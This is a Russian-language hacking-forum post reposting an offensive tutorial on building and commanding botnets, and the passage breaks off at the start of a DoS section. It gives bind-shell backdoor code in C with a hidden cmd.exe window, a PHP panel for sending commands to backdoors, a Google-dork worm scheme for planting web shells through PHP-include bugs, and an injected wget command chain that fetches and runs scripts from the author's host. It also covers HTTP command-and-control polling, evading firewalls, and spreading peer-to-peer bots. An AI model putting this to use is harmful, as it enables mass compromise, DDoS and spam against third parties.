• XSS.stack #1 – первый литературный журнал от юзеров форума

Зомби-Коммандование

Mail2k

(L2) cache
Пользователь
Регистрация
24.05.2006
Сообщения
379
Реакции
8
Очень хорошую статью нарыл в инете. Почитайте.Будет интересно тем,кто решил себе завести ботнет-сеть.


Зомби-Коммандование
/* все о принципах построения, работы ботнетов */
/* и их управлении */
Автор: _1nf3ct0r_





Думаю, ты не раз задумывался о такой идеи как поднятие своего собственного ботнета, ну, или быть может, просто интересовался о том, как это устроено.Или в конце концов ты уже добился поставленных выше целей. Как бы это ни было, тебя это заинтересовало и ты не просто так докопался до этой статьи. Чтож, сейчас я постараюсь рассказать все тоноксти построения зомби-сетей.


Приступим.



[Основные понятия]
==========================

Возможно, статью читают люди, совершенно не понимающие о чем идет речь. У новичка сразу возникнет ряд вопросов:

- Что такое ботнет? Зачем это нужно? Какая от этого прибыль? Как это примерно работает?

Вопросов будет достаточно много, чтобы разобраться с ними дочитывай статью доконца, а пока разберемся с поставленными.

Итак, ботнет - ничто иное, как сеть из зараженных компьютеров при помощи трояна или червя, которыми управляют хакеры, или как
часто их еще называют, - ботмастеры. Каждая такая зараженная тачка называется ботом или зомби.

Все эти машины объединяются в единую сеть - ботнет. Основной целью ботмастеров в перспективе ботнетов является полное управление зараженными компьюетрами, а также для проведения распределенных атак на отказ в обслуживании, рассылки спама, хостинга на ботах для сайтов с запрещенным контентом и т.д.

Насколько тебе должно быть известно, рассыл спама - очень выгодный метод заработка в сети и тебе, наверное, ни раз приходили письма с предложениями увеличить какие-то части тела, купить таблетки для похудения и прочее, прочее. Одним из самых частых целей использования ботнета является заработок на распределенных атаках на отказ в обслуживании (DDoS, англ. Distributed Denial of Service) - атака, возникшая от своего младшего брата - DoS (Denial of
Service - отказ в обслуживании), успешным результатом атаки которой является зависание сервера или отдельного демона.

В качестве метода атаки выступает банальный флудинг определенными пакетами, зависищими от методов DoS'a, которых существует
достаточно большое множество. Если подумать логически над выражением "распределенная атака в обслуживании", то можно сразу
(ну или не сразу) понять, что DDoS - усовершеннствованная как в качестве эффективности, так и в масштабности, атака.

Объясню подробнее. Главным отличием DoS'a от DDoS'a является то, что в первом случае флудинг идет лишь с одной машины, как
правило это какой-нибудь шелл или выделенныый сервер (DS/VDS) с широченным интернет-каналом, зафлудить с которого, например,
простого диалапщика - раз плюнуть, а во-втором случае - флудинг идет сразу со всей зомби-сети! Причем количество ботов
зависит от стараний и мастерства хакера - их может быть сотни, тысячи или даже миллионы! Довольно непросто представить себе
как будет вести себя атакованная машина ICMP-пакетами с двух/трех тысяч ботов, но ясно одно: компьютер уйдет в нокдаун.

Почему так происходит? Принцип таких атак достаточно прост: сервер получает пакет, система его обрабатывает, затем,
приходит следующий - и становится "в очередь", итак очень долго - занимаются ресурсы системы, а севрак попросту
"перегружается", оставляя желать лучшего: либо просто зависания, либо отключения от сети.

Далее мы рассмотрим с тобой
некоторые методы флуда для того, чтобы ты выбрал тот, что тебе нужен. Также существует такая интересная идея, как хостинг
на ботах. Зачем это нужно? Допустим ты, не имея ботнета решил, что тебе нуженн хост под фишинг/спам/дроп-проекты и прочее,
но этого мало. Нужна стойкая, "антиабузная" система, ведь после своих, мягко говоря, нехороших действия от пользователей
полетят жалобы к хостеру, которые как раз принято называть абузами, а хостинги, которые забивают на такие абузы -
"абузоустойчивые" хостинги. Как правило, при таком ботнет-хостинге, боты со скудным каналом отсейваются и остаются лишь
"качественные".
Безусловно, ботов можно использовать, например, для каких-нибудь распределительных вычислений - здесь список
будет тянуться долго: от каких-либо сложных математических вычислений до взлома зашифрованных паролей алгоритмом MD5
(кстати, правильнее говорить хэшированных в случае с MD5) или подбора пароля к RAR-архиву.

Распределенную сеть можно
использовать в той же науке, практически повсеместно, главное - это продумать и создать такую сеть.

[Методы управления и реализации]
========================================

На самом деле, существует не так уж и много методов управления. Я имею ввиду методов, а не реализаций. Давай разберемся, что
к чему. Наверное, следует начать с самого простого метода управления и, как принято думать, неудобного. Но я постараюсь
опровергунть данное мнение. Речь идет о архитектуре "Клиент <-> Сервер".

+-------------------------+
| Клиент <-> Сервер |
+-------------------------+

Любой программист, пишущий программы для работы с сетью знает ее "на зубок", не говоря уже о вирусмэйкерах. Если тебе хоть раз приходилось писать систему удаленного администратирования (с англ. Remote Administrative System или сокр. RAT) или попросту говоря, троян, то ты уже знаком с ней.

Такая система довольно-таки проста. Есть две программы, одна называется клиентом, другая - сервером, первая устанавливается на компьютер A, а вторая на B. Как правило, сервер держит открытый порт который слушается сервером. С помощью клиентской части мы подключаемся к серверной и пользуемся ее возможнстями.

Ну, вот тебе
пример: существует FTP-сервер ftp.botneta.net. С помощью чего ты к нему подключишься? Да, вот именно - с помощью программы,
которую принято называть клиентом. Твой браузер также является клиентом (HTTP), так как взаимодействует с HTTP-сервером и
т.д. Так вот, почему бы не написать программу, которая бы заставила слушать на заданном порту командный интерпретатор windows
(обычно - cmd.exe)?

Достаточно прителнетиться к серверной части и у тебя имеется полный доступ к компьютеру. Такие трояны принято называть бэкдорами (backdoors - с англ. потайная дверь). Казалось бы, очень громоздкая и неудобная система для управления ботнетом: придется коннектиться к каждой машине отдельно, назначать ей задание и при том, что IP-адрес машины может постоянно меняться! Также надо будет знать каждую зараженную машину, что называется "в лицо".

Да, полностью согласен, неудобно. В качестве клиента для обычного bind-шелл бэкдора может выступать простой telnet, или даже php-скрипт. Написание последнего - сущий пустяк, зато очень удобно и анонимно! Для начала сделаем форму нашего скрипта: там мы будем вводить команды и при необходимости менять IP-адресс или порт для подключения к бэкдору.

<form action="" method="post">
IP: <input name="host" type="text" value="127.0.0.1">

Port: <input name="port" type="text" value="31337">

CMD: <input name="cmd" type="text" value="shutdown -s">

<input type="submit" value="SEND">

</form>

А теперь примимся за работу с сокетами в PHP.
За открытие сокета в php отвечает функция fsockopen(), а за передачу и получение – функции fputs() и fgets(). На сколько
тебе ясно, данные из формы будут передавать скрипту POST-запросом. Для закрытия сокета юзаем функцию fclose(), все достаточно
просто:

<?php
if ($_POST['cmd'] || $_POST['host'] || $_POST['port']) {
$fp = fsockopen ($_POST['host'], $_POST['port'], $errno, $errstr, 60);
if (!$fp) {
$reply = "$errstr ($errno)
\n";
echo<<<EOF
<pre> {$reply} </pre>
EOF;
} else {
fputs ($fp, $_POST['cmd']);
echo<<<EOF
<pre> Команда "{$_POST['cmd']}" принята сервером успешно… </pre>
EOF;
}
fclose ($fp);
}
?>

Основы работы с сокетами на PHP - больше ничего. На самом-то деле не одними сокетами ограничивается посылка данных на сервер,
помимо сокетов существует еще такая прекрасная вещь как wininet, но PHP-скриптов это, на сколько я знаю, не касается.

Bind-шелл бэкдор тоже написать очень просто! Для этого также нужно уметь
работать с WinSock2 API. В наши задачи входит написание бэкдора, который запустит cmd.exe с перенаправлением ввода/вывода
на сокет клиента. Для этого сначало надо инициализируем WinSock2:

BOOL WINAPI StartWinsock(){
WSADATA wsaData; // инфа о библиотеки будет храниться тут
WSAStartup(MAKEWORD(2,2), &wsaData); // инициализируем винсок
return 0;

Для того, чтобы прекратить работу с WinSockets достаточно добавить функцию WSACleanup. То есть WSAStartup – начинает, WSACleanup – заканчивает. Затем нам понадобится создать сам сокет. Делается это также предельно просто (SOCKET s) :

s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);

А затем заполняем все необходимые данные о сокете:

localaddr.sin_addr.s_addr = htonl(INADDR_ANY); // ожидаем соединение на любом сетевом интерфейсе
localaddr.sin_family = AF_INET; // интернет протокол
localaddr.sin_port = htons(31337); // выставили порт 31337

Следующий шаг - связать сетевой адрес с сокетом (bind) и поставить на прослушку порт (listen), не забудь в самом начале
функции вписать struct sockaddr_in localaddr, clientaddr;:

bind(s, (struct sockaddr *)&localaddr, sizeof(localaddr));
listen(s, 0);

Ну и наконец listen. s – хэнд сокета, 0 – бэклог. Бэклог – это параметр, указывающий на размер очереди ожидающих подключений
клиентов. Например, если ты выставил в качестве параметра 10, то при подкдючении 10 клиентов в один момент сервер поставит
их в очередь, а одиннадцатый получит ошибку WSAECONNREFUSED. Если ты выставишь значение бэклога на SOMAXCONN, то "включится"
поддержка максимальной очереди ожидания.

Чтобы првязать к нему cmd.exe достаточно воспользоваться функцией CreateProcess() c хэндлами сокета, но может возникнуть проблема с вводом и выводом. На сколько ты, наверное, знаешь, существуют 3 хэндла ввода-вывода:
STDIN – стандартный ввод.
STDOUT – стандартный вывод.
STDERR – вывод сообщений об ошибках.
Начнем.

Сейчас мы создадим пайпы, предварительно заполнив его сруктуру (Security Attributes):
для начала добавь следующую лабуду:

(PIPE InPut, OutPut;
typedef struct {HANDLE hRead; HANDLE hWrite;} PIPE;)
SECURITY_ATTRIBUTES Sa;

А теперь заполняем Security Attributes:

sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.bInheritHandle = TRUE;
sa.lpSecurityDescriptor = NULL;

// создаем...
CreatePipe(&input.hRead, &input.hWrite, &sa, 0);
CreatePipe(&output.hRead, &output.hWrite, &sa, 0);

Теперь заполним структуру ST для нашей функции CreateProcess(), которая запустит cmd.exe и бэкдор готов.
Опять так, сначало объяви, что st - это стартапинфо: STARTUPINFO si;

ZeroMemory(&si, sizeof(STARTUPINFO));
st.cb = sizeof(STARTUPINFO);
st.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
st.wShowWindow = SW_SPOILER; // параметр SW_SPOILER сделает окно с cmd.exe невидимым (видимое - SW_SHOW)
st.hStdInput = input.hRead; // STDIN
st.hStdOutput = output.hWrite; // STDOUT
st.hStdError = output.hWrite; // перенаправляем вывод ошибок

// Объявим PROCESS_INFORMATION pr;

CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &ST, PR); // запускаем CMD.exe с перенаправлением
//ввода/вывода.
}

Не забудь создать бесконечный цикл, не то будет облом, короче, ты вкурил;)
Блуждает мнение, что поднять свою зомби-сеть под *nix-like системами, как правило на взломанных серверах, хотя бы с минимальными привилегями (nobody, apache, www и т.д) нереально! Это мнение - полнейший абсурд. Вполне реально построить
ботнет на шеллах. Для начала тебе нужен скрипт, с помощью которого ты бы смог управлять шеллами.

Для тех, кто в
танке - шелл - это доступ к командному интерпретатору с какими либо привилегиями, как правило, на unix-тачке. Причем тебе не надо забэкдоривать каждую систему - достаточно залить вэб шелл, через который ты бы смог выполнять команды.
Итак, ты достал себе туеву хучу шеллов. Теперь тебе нужен скрипт, который разошлет всем шеллам
команду, благодаря которой будет будет производиться HTTP-флуд при помощи GET-запросов заданное количество времени и другими
параметрами (кстати, технологию HTTP-флуда можно с довольно-таки неплохим результатом применять для накрутки-траффика).
И не надо никаких троянов :). Этот метод я сам использовал на практике - работает отлично, очень быстро и просто. Поэтому
как все это замутить - подумай сам, а я пока хочу поюзать данную фишку :).
Даже сам PHP-шелл писать самому не обязательно.

Достать сами шеллы очень просто. Есть несколько вариантов: первый заключается в
покупке шеллов "оптом" - в огромном количестве. Но продавцы очень часто бывают нечестными - продают один и тот же шелл по
несколько раз, то есть твои шеллы будут постоянно
удалять. Тебе это надо? Вот и я думаю, что нет. Есть один выход: добывать шеллы самому. Согласен, что вручную добывать каждый
- ужасный гемор, но кто сказал, что это делается вручную? Итак, первое, что тебе понадобится - это знание каких-либо языков
программирования.

Я предлогаю для нашей задачи один из следующих языков: PHP, Perl и C. А также умение использовать
уязвимости в вэб-скриптах, обычно это PHP. Суть
такова: пишется скрипт-червь на (допустим) perl, который с помощью поисковой системы Google будет искать уязвимый скрипт,
с помощью которого есть вомозжность выполнять команды на сервере - нам подойдут уязвимости класса PHP-include() и
PHP-injection. С помощью специально составленного google-запроса твой червь отыскивает уязвимые скрипты и заливает шеллы,
затем, после каждого удачно залитого шелла он записывает урл шелла в лог-файл. Звучит заманчиво, правда? Но и тут возникают
некоторые проблемы. Во-первых, это знание языка, во-вторых - знание команд unix, в третьих - те самые необходимые навыки
взлома, ну и в четвертых - умение работать с google - правильно составлять запросы :).

То есть "начинающим хакерам" еще
придется нихило попотеть, чтобы создать такую сеть.
Также нужен бажный скрипт, который бы
широко использовался в качестве вэб-движка. Если ты найдешь движок с php-инклуд багом, который установлен примерно на 100
серверах, то ты счастличик.

За пару часов червь справится с работой и вернет тебе все шеллы.
Именно по такому принципу работали google-черви вроде Santy и его модификации, которые были написаны на perl'e (кстати,
исходники Santy.A, Santy.B, Santy.C, скрипт для управления вэб-шеллами и много других полезных вещей ты найдешь в архиве со
статьей), в качестве уязвимости использовал php-injection баг в форумном движке phpBB 2.0.10. Так как форум был (и есть) очень популярным, то червяк произвел очень много успешных взломов. Единственное, что обидно - он просто дефейсил сайты... Бесполезно, правда? Так вот, хватит теории, давай углубимся в суть
проблемы и решим ее вместе (вступай и компилируй :)).

Итак, для начала нам надо составить с тобой запрос, который мы скормим
поисковой системе. Вообще, кто не в курсе - существует метод взлома (или культ, не знаю как сказать), который так и
называется - Google-Hacking.

Суть заключается в том, что с помощью граммотно составленного google-запроса можно найти
уязвимые скрипты, дампы баз данных с кредитками, пароли от ICQ-номеров и т.д. На данную тему написано огромное количество
статей и мануалов, но самым центральным ресурсом является http://johny.ihackstuff.com/, содержащий в себе туеву хучу
готовых запросов. При наличии n'ого количества денег ты можешь даже прикупить там целую книгу с эксклюзивными запросами. И
все же я поведаю тебе немного о синтаксисе google.

Допустим, тебе понадобилось найти скрипт под названием botnet.php. Так как подобных скриптов очень много, то желательно
сделать более подробный запрос. Например, заголовок (который находится в тегах <title></title) имеет вид: "Botnet Center".
Тогда запрос будет выглядеть так: inurl:botnet.php intitle:Botnet Center или botnet.php intitle:Botnet Center. Видишь
как все просто? А вот, допустим, тебе понадобилось найти этот скрипт на сайтах в зоне .ru: botnet.php intitle:Botnet Center site:ru. Вот примерно так выглядят запросы. "А вот как тот червь искал старые phpBB?" - спросишь ты. Если ты наблюдателен,
то мог заметить, что в конце старницы этого форума виднелась надпись "Powered by phpBB 2.0.10". Таков и будет запрос;). А
вот, к примеру, тебе надо найти файл, содержащий строку "Hell Knights", а расширением файла обязательно должно являться .txt.
Запрос примет вид: Hell Knights filetype:txt. Или другой пример - надо найти директории Apache, показывающие листинг файлов
в корне WWW-директории: intitle: Index of \
Вообщем-то, запросов море, главное фантазия. Зайди обязательно на сайт Джонни, найдешь много интересного для себя. Допустим,
мы уже нашли скрипт с php-инклуд багом l33t.php?page=news.html. Параметр page открывает страницу news.html. Запрос для google: inurl:l33t.php?page=news.html. Создаем сокет:
$socket = IO::Socket::INET->new(PeerAddr=>"http://google.ru/",PeerPort=>"80",Proto=>"tcp"), затем отправляем запрос
гуглу посредством GET: print $socket "GET /search?q=inurl:l33t.php?page=news.html&hl=ru&lr=&start=90&sa=N HTTP/1.0\n\n";.
Затем мы откапыаем в HTML-коде ссылки (<a href=...) и "заходим" по ним,
подставляя в параметр page свое новое значение:

$cmd=http://1nf3ct0r.nm.ru/hack/cmd.php&cmd=wget -O smile.php http://1nf3ct0r.nm.ru/hack/shell.php; wget -O post.pl http://1nf3ct0r.nm.ru/worm/post.pl; perl post.pl; rm post.pl;

Что же мы сделали? Итак, команда wget - это команда скачки какого-либо файла из сети на шелл. Чаще всего используется она,
но все же ее может и не быть. Поэтому дам тебе совет: попробуй заставить все известные качалки (wget, fetch, get, lynx,
curl, links) скачивать файл из сети. Вот синтаксис этих штук:

Wget: wget -O /tmp/script.pl http://1nf3ct0r.nm.ru/hack/script.pl
Curl: curl --output /tmp/script.pl http://1nf3ct0r.nm.ru/hack/script.pl
Fetch: fetch -o /tmp/script.pl http://1nf3ct0r.nm.ru/hack/script.pl
GET: GET http://1nf3ct0r.nm.ru/hack/script.pl > /tmp/script.pl
Links: links -source "http://1nf3ct0r.nm.ru/hack/script.pl" > /tmp/script.pl
Lynx: lynx -source "http://1nf3ct0r.nm.ru/hack/script.pl" > /tmp/script.pl

Сначало мы закачали вэб-шелл с http://1nf3ct0r.nm.ru/hack/shell.php и назвали
его smile.php. Затем слили perl-скрипт, который сообщит в лог файл POST-запросом где находится скрипт (пиши сам), запустим
его и удаляем этот скрипт.

Если тебя заинтересовала данная тема, то советую почитать статью n4n0bit'a с нашего сайта
hellknights.void.ru - она называется "Боты поисковых машин". Вчитывайся, там раскрыты все основные проблемы.
Но не одними шеллами ограничивается *nix-ботнет. Существуют и черви и вирусы под *NIX! О них я как-то писал в своей статье
"Вирусы, изменившие мир", которую ты также можешь найти на http://hellknights.void.ru/.

Например, червь Li0n атаковал BIND версий 8.2 - 8.2.3, которые содержали в себе уязвимость TSIG-запросов, после проникновения на машину он устанавливал t0rn-руткит -
простейший руткит, протроянивающий системные приложения вроде ps, ls, netstat и т.д. Shadow-пароли (/etc/shadow/) и файл
с логинами (/etc/passwd) он слал на мыло автору. А червь Slapper (Modap/Cinik) атаковал модуль OpenSSL 0.9.6d вэб сервера
Apache, получая при это привилегии привелегии, из под которого и был запущен апач (nobody, www, apache и т.д).

Использовался он как раз-таки как DDoS-бот. Или есть еще один вариант: твой червь будет устанавливать на взломанные тачки свой DoS-софт, через который и будет проводиться атака.
Также существует такая прекрасная штука, как ICQ. Я думаю говорить что это такое - нет смысла. Это есть то, что мешает
работать, учиться и вообще, предмет, на который можно свалить все свои неудачи;).

Так вот, именно проткол ICQ (TOC, с января
2006'ого это уже вторая версия проткола, непонятно зачем переделанная) можно использовать для управления бэкдорами. Самое
примечательное - это анонимность. А ведь можно сделать целую распределенную сеть ботов с управлением через ICQ.

Несмотря на то, что данная система кажется сложной - все достаточно просто! Все также основано на работе с сокетами. Получем
команду и выполняем ее через ShellExecute(). Если юзер что-то заподозрит, то обломается: сетевая активность происходит через
ICQ-сервер. Но об этом как нибудь в другой раз. Все, хватит. Дадим оценим методик с шеллами:

Плюсы [ + ], Минусы [ - ], Спорно/Нейтрал [~]:

[~] Система управления ботнетом выполнена на твердую "4", несмотря на то, что на PHP можно сделать
сборку по странам, чекер шеллов и многое другое. Ведь запускается цикл по "раздаче" команд
ботам - это, безусловно, займет n'ое количество времени. Чтобы шеллы добавлялись автоматически
можно написать скрипт, который бы находил URL до шелла и отправлял его POST-методом на скрипт
управления ботами, добавив в БД, а затем уничтожив себя.
[ + ] Нету убогих диалаповых машин, все серваки с широким каналом.
Постоянный онлайн ботнет.
[~] Шелл очень просто найти и удалить :(
Но зато нету проблем с антивирусным ПО.
[ + ] Переносимость ботнета.
Скопировал адреса шеллов, свалил на другой сервак.
[~] Нужна определенная квалификация для написания скриптов, зависящая от их функционала.
Так, что нубам можно забыть об этом и купить соответствующие книжки :)
[~] Проследить откуда поступала комманда - достаточно просто: логи апача еще никто не отменял.
Но ведь можно и логклинер встроенный в nix-бота поставить или еще чего такого;).
Все же это не так палевно, как с централизованными сетями, о работе которых я тебе сейчас расскажу

+-------------------------+
| Централизованные сети |
+-------------------------+

Как это? Ну во-первых скажу, что по такому принципу работают практически все DDoS-боты. После запуска трояна на компьтере,
он сам коннектится к ботнет-серверу. Все прелести налицо. Но также много неприятных моментов. При исследовании бота очень
просто просечь сервер, куда он коннектится. Полетят абузы, грохнут сервер (или, быть может, сам рухнет?) - ботнет не вернуть.

Существует как минимум два метода управления такой DDoS-армией: первая - это, безусловно, IRC - одна из самых старых
технология управления ботами, постепенно теряющая свою актуальность. И вторая - это управление через HTTP: молодая и
ежедневно процветающая технология: простота, удобность - все тут.
Разберем каждый пункт конкретнее. К сожалению, microsoft не позаботилась о IRC, поэтому
не ищи функций WinAPI под нее. Ее придется писать самому. Кроме того, придется поднимать свой IRC-сервер, ты же не будешь
держать стадо ботов на канале #l33t-botnet в сети DalNet? :) Настроить свой IRC не так сложно, если не вдаваться в
дополнительные в его параметры настроек.

Советую почитать статью "IRC-плацдарм для ботов" из журнала "хакер #78", ссылку на нее ты найдешь в конце статьи. Прежде чем ты примишься за ниписание IRC-бота тебе надо разобраться с IRC-протоколом, чем я тебе и помогу. Также советую почитать RFC 1459. Начнем. Телнетимся к серверу:

#telnet irc.botneta.net XxxX

XxxX - это порт. Причем порт может быть разным, например если кодировка нужна KOI8-U, то мы коннектимся на 6667 порт.
Вот все порты:

6667: KOI8-U 7770: KOI8-R 7774: Macintosh 6668: Translit 7771: utf8 7775: Translit
6669: utf8 7772: CP866 7776: KOI8-U 7773: ISO-8859_5 7777: Alt.Translit

Если коннект прошел успешно, а-ля появились строки вроде:

:Infinity.botneta.net NOTICE AUTH :*** Looking up your hostname...
:Infinity.botneta.net NOTICE AUTH :*** Found your hostname

nick твой_ник
Затем:
user имя_юзверя хостнейм irc.botneta.net :твой_ник твой_второй_ник.

Все, мы авторизировались. Чтобы войти на канал набирай:

join #канал

Чтобы отправить сообщение набирай:

privmsg #канал :_сообщение_ w00t ppl!! =)

Есть еще такая важная штука как PING-PONG. Нет, это далеко не игра. Сервер может в любое время послать сообщение PING,
на которое клиент должен быстро ответить PONG, иначе конннект оборвется. Зачем это надо? Для того, чтобы проверить,
является ли клиент соедиененным с IRC-сервером или нет. Вот этого всего хватит для того, чтобы начать писать бота.Поверь, написать это все очень просто.

Если какие проблемы - то посмотри исходники разных ботов и заюзай google, а потом пиши мне;)
А теперь перейдем к управлению через HTTP. Тебе не придется разбираться с протоколом, так как у нас уже есть наборы
функций для работы с ним. Мне известны по крайней мере два: Internet API и UrlMon API.

Кроме того, помимо работы с HTTP
они поддерживают работу с FTP-протоклолом. Приступим. Итак, какие есть методы получения команд ботами? Соглашусь, не так уж и много, но нам этого хватит сполна. Первый способ заключается в том, что боты будут читать команды из .txt-файла. Причем команды можно шифровать каким-нибудь алгоритмом, а ключ шифрования скормить трояну (с соответствующей функцией дешифровки). То есть, все трояны будут бесконечно скачивать файл из сети и пропарсив его содержимое, выполнять соответствующие команды. Кажется геморно, но на самом деле все круто :). Команды можно добавлять через PHP-скрипт и держать их там определенное время. Все это с таким же успехом реализуется на C++, работая с сокетами.

Сначало шлем GET-запрос на файл с командами, затем создаем сокет и коннетимся.

#define HELL "hellknights.void.ru"

char *sendb = "GET /botnet/cmds.txt HTTP/1.0\r\nHost: "HELL"" \r\n\r\n", // формируем GET-запрос
recvb[2048];

SOCKET socket = socket(AF_INET,SOCK_STREAM,0); // создаем сокет
memset(recvb,0,2048);

// заполняем структуру
SOCKADDR_IN host;
host.sin_addr.S_un.S_addr = resolve(HOST); // резолвим
host.sin_family = AF_INET; // уже писал;)
host.sin_port = htons(80); // 80 порт

if(connect(socket, (struct sockaddr *)&host,sizeof(SOCKADDR_IN))) // коннетимся
return -1;

send(socket, sendb, strlen(sendb),0); // шлем пакет

Получаем пакет:

Sleep(5000); // здесь желательно поставить sleep, чтобы дождаться ответ от сервера
int i;
while(i = recv(socket,recvb+strlen(recvb),1,0))
{if (i == SOCKET_ERROR) return -1;}

А вот и функция резолва:

DWORD resolve(char *host)
{
DWORD ret = 0;
struct hostent * hp = gethostbyname(host);
if (!hp) ret = inet_addr(host);
if ((!hp)&&(ret == INADDR_NONE)) return 0;
if (hp != NULL) memcpy((void*)&ret, hp->h_addr,hp->h_length);
return ret;
}

После нам придется пропарсить .txt на наличие команд. Я думаю, ты справишься с этим, ничего сложного
нет. Есть еще один вариант: не юзать GET, а вопспользоваться функцией WinAPI - InternetOpenUrl() для получения команд ботами.
Но есть одно но! А ты не подумал, что боты сами могут тебя задосить!?;) Вот-вот! Придется брать себе абузоустойчивый дедик,
с широким каналом, который стоит не так мало (50$-200$ в месяц и более).
Есть другой метод: пишется скрипт, который бы отображал ботов в своей таблице. То есть боты сначало бы коннетились к скрипту и добавляли себя в список: IP-адрес, UID, версия ОС, имя компьютера, страна, скорость соединения и количество времени в онлайне. Затем, полсе того как бот коннетится к скрипту и прочее, мы выполняем команду и запускается цикл по раздаче команды всем ботам по той самой таблице.

Более медленный, но за то более экономный и беспалевный метод. Все написание
также основывается на всем том, что мы с тобой рассматривали выше.
Передать данные скрипту можно также при помощи Internet Explorer, а также функций WinExec() и CreateProcess(). (кстати, что касается WinExec - это устаревший вариант, использующийся еще аж в Win16-системах, в win32 же корректнеее будет использовать
CreateProcess(), но WinExec по прежнему работает отлично).
Заполним все структуры которые нам нужны, как это мы делали с тобой чуток ранее. И вызываем CreateProcess():

CreateProcess("EXPLORER.EXE","http://hellknights.void.ru/botnet/?msg=w00t!0wn3d",0,0,false,CREATE_NEW_CONSOLE,0,0,&si,&pi);

&si - это указатель на StartUpInfo, а &pi - указатель на ProcessInformation. Этот метод также примечателен тем, что у нас
возникает минимум проблем с файрволом, что не может не радовать :). Этого, конечно, не достаточно для полного его обхода,
можно намутить хитрый Process Injection в доверенный процесс. Вообще есть
куча методов для обхода файров, особенно в ring0.

В качестве доверенного приложения можно выбрать браузеры или svchost.exe,
который записан во всех файрволах как доверенное приложение и которому разрешено лезть на 80 порт.
Если ты его заблокируешь в файрволе, то не сможешь лезть на 80 порт :). Но мы не об этом. Также не забудь в структуре STARTUPINFO указать невидимость окна:

si.wShowWindow = SW_SPOILER;

Здесь у нас существует такая проблема, как путь до папки C://Program Files/Internet Explorer/. Решить эту проблему нам
поможет константа %Programfiles%. Но это тоже не самый лучший вариант, так, что покопайся с функциями SHGetSpecialFolderLocation() и SHGetPathFromIDList(), через которые мы и узнаем все системные директории Windows, думаю ты
без проблем разберешься;).
Что же касается XOR-шифрования, то и в PHP и C++ есть специальная функция. Работает это примерно так:

ксоренный_текст=наш_текс^ключ_шифрования;

Короче говоря, символ "^" и является тем страшным ксором. Дешифровка производится точно также.

Плюсы [ + ], Минусы [ - ], Спорно/Нейтрал [~]:

[ + ] Удобное управление через скрипт. Боты сами коннектятся куда надо.
Можно реализовать достаточно многофункционального DDoS-бота. Все функции для работы с HTTP
давным давно реализованы в WinAPI библиотеках.
[~] Боты довольно быстро попадают в антивирусные базы.
Хотя при правильном распространении и техник-стелсирования продержаться они могут очень долго;)
[~] Управление через IRC.
Управление через IRC - не самый сладкий "мед". Хотя многие так привыкли, что на web их перетащить уже просто
невозможно :). Кроме того, для написания системы управления через IRC надо разобраться с IRC-протоколом
[~] Не так уж просто написать матерого бота.
Проблемы с файрволом, антивирусом, автозагрузкой + куча времени на написание разных примочек...
c ботами спалят, то мигом закроют, а боты умрут... Но несмотря на это, бот может быть намного функциональнее
чем ботнет на шеллах.
[ - ] Достаточно просто отследить куда коннектится бот.
Однажды мне попал в руки какой-то бот и адрес ботнет сервера я просек в логах файрвола.
Итог: увел скудный ботнет.
[ - ] Тяжелый перенос ботнет сервера.
Придется заставлять ботов скачивать и запускать еще одного троя, а себя грохнуть. Кроме того если сервер
c ботами спалят, то мигом закроют, а боты умрут... Но я тут поразмышлял и пришел к такому алгоритму:
- чекаем cmd.txt на наличие команд
- если таковой файл есть, то парсим его и выполняем команды
- если сервак не пашет, то пытаемся приконнектиться еще раз и еще раз через 30 минут и т.д
- если совсем все фигово, то начинаем скачивать второй файл с какого-нибудь b0tn3t.narod.ru
свою EXE'шки и запускать - работать будет неплохо;)

+-------------------------+
| Децентрализованные сети |
+-------------------------+

Самым продвинутым вариантом управления ботами является распределенная децентрализованная сеть. О сложности реализации такой
сети тоже можно говорить очень долго. Суть заключается в том, что каждая зараженная машина коннетится с другой, постоянно
держав соединение с ней, благодаря этому все тачки передают команды друг другу, то есть отсутствует центральный сервер! Для
того, чтобы заставить ботов выполнить какую-либо команду, достаточно приконнектиться к какой-нибудь зараженной машине на
backdoor-порт и отдать команду, к пример icmp microsoft.com (ICMP-флуд мелкомягких). Эта тачка разошлет сама всем команду.
Как тебе? Кроме того, можно (даже нужно) добавить сканирование IP-адресов на наличие трояна в системе (по порту), хотя
это достаточно палевно. Сам пакет может быть "уникален" - иметь свою цифровую подпись. Ну вот прикинем самую простую
децентрализованную сеть. У нас имеется локальная сеть 127.0.0.1 - 127.0.0.150. В ней имеется 150 тачек. Допустим мы нашли
какую-то супер багу и написали червя (авторутер локалки :)), который бы сканил эти адреса на 31337-порт (там вертится бажный
сервис) и атаковал его, заливая и запуская свою копию на каждую машину. Итак, сеть протроянена. Теперь, при каждом
автозапуске трояна биндится шелл на 800 порту, а каждый червь коннектится
со следующим, по следующему алгоритму:
[1] запускается скан на 127.0.0.2
[2] если порт 800 открыт, то коннетимся к нему и заставляем
коннетиться следующего на 127.0.02.
[3] если уже сконнетился кто-то ранее, то коннектимся на 127.0.0.03 и т.д
[4] повторяем на приконнекченной тачке то, что сделала та, что коннектится: все с пункта #1 приплюсовав к IP + 1 =)
Это самая примтивиная схема. Можно научить ботов пополнять базу IP-адресов захваченных машин, диапозонов IP-адрессов и т.д.
Честно говоря, реализаций таких методов ниразу не видел в паблик-источниках. Но ходят слухи, что такая система реализована,
да и не один раз =) Так, что дерзай! Жду твоих работ! =))


Плюсы [ + ], Минусы [ - ], Спорно/Нейтрал [~]:

[ + ] Удобное управление.
Нет централизованной сети - мечта хакера. Чтобы заставить ботов выполнить что-то достаточно отдать одному
соответствующую команду и он разошлет ее остальным ботам.
[ - ] Боты довольно быстро попадают в антивирусные базы + палевное сканирование IP-адресов
Хотя при правильном распространении и техник-стелсирования продержаться они могут очень долго;)
Любой файр достаточно просто определит сканирование портов;)
[ - ] Сложное написание.
За этой системой - будущее. Но реализовать задуманное не так-то просто. Делай выводы.
[ + ] Практически невозможно отследить узел, откуда пошла команда
Анонимность гарантирована, но все равно VPN/Socks/Proxy не помешал бы;) Можно также отдать команду
зараженной машине через PHP-гейт, что даст возможность еще больше скрыть свою причастность к ботнету;)
[ + ] Стойкость ботнета
Как ты его разрушить захотел? Все зависит от пользователя.

[DoS-атаки: реализация]
=================================

Существует огромнейшое количество видов DoS-атак, например, SMURF-flooding, SYN-flooding, UDP-flooding, ICMP-floodig, SMBDie
attack, Ping of Death, HTTP-flooding и т.д. Ни одним флудом ограничиваются DoS-атаки. Как тебе уже известно, DoS (Denail of
